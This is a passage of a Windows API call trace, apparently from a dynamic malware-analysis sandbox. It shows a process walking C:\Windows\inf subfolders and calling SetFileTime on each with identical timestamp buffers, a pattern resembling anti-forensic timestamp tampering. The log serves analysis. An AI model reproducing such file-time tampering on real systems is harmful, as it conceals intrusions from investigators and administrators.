CloseHandle (hObject=0x88) returned 1 [0130.711] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\_ServiceModelEndpointPerfCounters.h") returned="_ServiceModelEndpointPerfCounters.h" [0130.711] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\" | out: lpString1="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\") returned="C:\\Windows\\inf\\ServiceModelEndpoint 3.0.0.0\\" [0130.711] lstrcmpA (lpString1=".", lpString2="ServiceModelOperation 3.0.0.0") returned -1 [0130.711] lstrcmpA (lpString1="..", lpString2="ServiceModelOperation 3.0.0.0") returned -1 [0130.711] PathFindFileNameA (pszPath="C:\\Windows\\inf\\*.*") returned="*.*" [0130.712] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.716] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.716] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.716] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.716] lstrcmpA (lpString1=".", lpString2="0000") returned -1 [0130.716] lstrcmpA (lpString1="..", lpString2="0000") returned -1 [0130.716] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\*.*") returned="*.*" [0130.716] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80b6f4c5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b6f4c5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.717] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.717] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.717] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.717] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\0000\\*.*") returned="*.*" [0130.717] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\0000\\" | out: lpString1="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\0000\\") returned="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\0000\\" [0130.720] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.720] CloseHandle (hObject=0x8c) returned 1 [0130.720] lstrcmpA (lpString1=".", lpString2="0409") returned -1 [0130.720] lstrcmpA (lpString1="..", lpString2="0409") returned -1 [0130.720] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\*.*") returned="*.*" [0130.720] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x225e5094, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.721] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.721] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.721] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.721] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\0409\\*.*") returned="*.*" [0130.721] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\0409\\" | out: lpString1="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\0409\\") returned="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\0409\\" [0130.723] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.723] CloseHandle (hObject=0x8c) returned 1 [0130.724] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\*.*") returned="*.*" [0130.724] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\" | out: lpString1="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\") returned="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\" [0130.726] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.726] CloseHandle (hObject=0x88) returned 1 [0130.727] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\_ServiceModelOperationPerfCounters.h") returned="_ServiceModelOperationPerfCounters.h" [0130.727] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\" | out: lpString1="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\") returned="C:\\Windows\\inf\\ServiceModelOperation 3.0.0.0\\" [0130.727] lstrcmpA (lpString1=".", lpString2="ServiceModelService 3.0.0.0") returned -1 [0130.727] lstrcmpA (lpString1="..", lpString2="ServiceModelService 3.0.0.0") returned -1 [0130.727] PathFindFileNameA (pszPath="C:\\Windows\\inf\\*.*") returned="*.*" [0130.727] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ServiceModelService 3.0.0.0\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e423fe3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.731] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.731] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.732] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.732] lstrcmpA (lpString1=".", lpString2="0000") returned -1 [0130.732] lstrcmpA (lpString1="..", lpString2="0000") returned -1 [0130.732] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ServiceModelService 3.0.0.0\\*.*") returned="*.*" [0130.732] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ServiceModelService 3.0.0.0\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80b49365, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b49365, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.732] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.733] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.733] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.735] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.735] CloseHandle (hObject=0x8c) returned 1 [0130.736] lstrcmpA (lpString1=".", lpString2="0409") returned -1 [0130.736] lstrcmpA (lpString1="..", lpString2="0409") returned -1 [0130.736] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ServiceModelService 3.0.0.0\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x225e5094, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.736] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.736] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.737] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.739] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.739] CloseHandle (hObject=0x8c) returned 1 [0130.741] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.741] CloseHandle (hObject=0x88) returned 1 [0130.743] lstrcmpA (lpString1=".", lpString2="SMSvcHost 3.0.0.0") returned -1 [0130.743] lstrcmpA (lpString1="..", lpString2="SMSvcHost 3.0.0.0") returned -1 [0130.743] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 3.0.0.0\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501536, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.746] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.747] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.747] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.747] lstrcmpA (lpString1=".", lpString2="0000") returned -1 [0130.747] lstrcmpA (lpString1="..", lpString2="0000") returned -1 [0130.747] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 3.0.0.0\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80b6f4c5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b6f4c5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.749] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.749] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.749] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.751] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.751] CloseHandle (hObject=0x8c) returned 1 [0130.752] lstrcmpA (lpString1=".", lpString2="0409") returned -1 [0130.752] lstrcmpA (lpString1="..", lpString2="0409") returned -1 [0130.752] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 3.0.0.0\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x225e5094, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.752] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.753] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.753] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.755] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.755] CloseHandle (hObject=0x8c) returned 1 [0130.758] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.758] CloseHandle (hObject=0x88) returned 1 [0130.758] lstrcmpA (lpString1=".", lpString2="SMSvcHost 4.0.0.0") returned -1 [0130.758] lstrcmpA (lpString1="..", lpString2="SMSvcHost 4.0.0.0") returned -1 [0130.758] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xe5d94fc0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xe5d94fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.764] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.765] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.765] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.765] lstrcmpA (lpString1=".", lpString2="0001") returned -1 [0130.765] lstrcmpA (lpString1="..", lpString2="0001") returned -1 [0130.765] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\0001\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.766] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.767] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.767] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.769] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.769] CloseHandle (hObject=0x8c) returned 1 [0130.770] lstrcmpA (lpString1=".", lpString2="0005") returned -1 [0130.770] lstrcmpA (lpString1="..", lpString2="0005") returned -1 [0130.770] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\0005\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.771] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.772] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.772] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.774] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.774] CloseHandle (hObject=0x8c) returned 1 [0130.774] lstrcmpA (lpString1=".", lpString2="0006") returned -1 [0130.775] lstrcmpA (lpString1="..", lpString2="0006") returned -1 [0130.775] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\0006\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.778] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.778] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.778] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.780] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.780] CloseHandle (hObject=0x8c) returned 1 [0130.781] lstrcmpA (lpString1=".", lpString2="0007") returned -1 [0130.781] lstrcmpA (lpString1="..", lpString2="0007") returned -1 [0130.781] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\0007\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.781] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.782] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.782] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.784] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.784] CloseHandle (hObject=0x8c) returned 1 [0130.784] lstrcmpA (lpString1=".", lpString2="0008") returned -1 [0130.784] lstrcmpA (lpString1="..", lpString2="0008") returned -1 [0130.785] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\0008\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.786] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.786] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.786] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.788] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.788] CloseHandle (hObject=0x8c) returned 1 [0130.789] lstrcmpA (lpString1=".", lpString2="0009") returned -1 [0130.789] lstrcmpA (lpString1="..", lpString2="0009") returned -1 [0130.789] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\0009\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.790] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.790] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.791] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.792] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.812] CloseHandle (hObject=0x8c) returned 1 [0130.813] lstrcmpA (lpString1=".", lpString2="000A") returned -1 [0130.813] lstrcmpA (lpString1="..", lpString2="000A") returned -1 [0130.813] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\000A\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.814] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.814] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.814] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.816] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.817] CloseHandle (hObject=0x8c) returned 1 [0130.817] lstrcmpA (lpString1=".", lpString2="000B") returned -1 [0130.817] lstrcmpA (lpString1="..", lpString2="000B") returned -1 [0130.817] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\000B\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.819] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.819] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.819] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.821] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.821] CloseHandle (hObject=0x8c) returned 1 [0130.822] lstrcmpA (lpString1=".", lpString2="000C") returned -1 [0130.822] lstrcmpA (lpString1="..", lpString2="000C") returned -1 [0130.822] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\000C\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.822] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.823] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.823] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.825] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.825] CloseHandle (hObject=0x8c) returned 1 [0130.825] lstrcmpA (lpString1=".", lpString2="000D") returned -1 [0130.825] lstrcmpA (lpString1="..", lpString2="000D") returned -1 [0130.826] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\000D\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.828] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.828] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.828] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.831] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.831] CloseHandle (hObject=0x8c) returned 1 [0130.831] lstrcmpA (lpString1=".", lpString2="000E") returned -1 [0130.831] lstrcmpA (lpString1="..", lpString2="000E") returned -1 [0130.832] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\000E\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.832] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.832] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.832] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.834] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.835] CloseHandle (hObject=0x8c) returned 1 [0130.835] lstrcmpA (lpString1=".", lpString2="0010") returned -1 [0130.835] lstrcmpA (lpString1="..", lpString2="0010") returned -1 [0130.835] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\SMSvcHost 4.0.0.0\\0010\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5d6ee60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x7b15b7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x7b15b7e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.837] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.837] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.837] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.839] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0130.839] CloseHandle (hObject=0x8c) returned 1 [0130.840] lstrcmpA (lpString1=".", lpString2="0011") returned -1 [0130.840] 